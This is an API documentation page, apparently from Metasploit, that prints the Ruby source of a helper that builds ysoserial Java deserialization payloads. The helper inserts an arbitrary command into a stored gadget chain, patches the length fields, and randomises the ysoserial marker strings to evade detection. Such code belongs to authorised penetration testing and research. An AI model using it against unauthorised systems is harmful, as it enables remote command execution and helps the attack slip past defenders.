Class: Msf::Util::JavaDeserialization

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/java_deserialization.rb

Constant Summary collapse

PAYLOAD_FILENAME =
"ysoserial_payloads.json"

Class Method Summary collapse

Class Method Details

.ysoserial_payload(payload_name, command = nil, modified_type: 'original') ⇒ Object

Raises:

  • (ArgumentError)

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# File 'lib/msf/util/java_deserialization.rb', line 12

def self.ysoserial_payload(payload_name, command=nil, modified_type: 'original')
  # Open the JSON file and parse it
  begin
    path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
    json = JSON.parse(File.read(path))
  rescue Errno::ENOENT, JSON::ParserError
    raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
  end

  # Extract the specified payload type (including cmd, bash, powershell, none)
  payloads_json = json[modified_type.to_s]
  if payloads_json.nil?
    raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
  end

  # Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
  payload = payloads_json[payload_name]

  raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?

  # Based on the status, we'll raise an exception, return a static payload, or
  # generate a dynamic payload with modifications at the specified offsets
  case payload['status']
  when 'unsupported'
    # This exception will occur most commonly with complex payloads that require more than a string
    raise ArgumentError, 'ysoserial payload is unsupported'
  when 'static'
    # TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
    return Rex::Text.decode_base64(payload['bytes'])
  when 'dynamic'
    raise ArgumentError, 'missing command parameter' if command.nil?

    bytes = Rex::Text.decode_base64(payload['bytes'])

    # Insert buffer
    buffer_offset  = payload['bufferOffset'].first   #TODO: Do we ever need to support multiple buffers?
    bytes[buffer_offset - 1] += command

    # Overwrite length (multiple times, if necessary)
    length_offsets = payload['lengthOffset']
    length_offsets.each do |length_offset|
      # Extract length as a 16-bit unsigned int, then add the length of the command string
      length  = bytes[(length_offset-1)..length_offset].unpack('n').first
      length += command.length.ord
      length  = [length].pack("n")
      bytes[(length_offset-1)..length_offset] = length
    end

    # Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
    bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
    bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))

    return bytes
  else
    raise RuntimeError, 'Malformed JSON file'
  end
end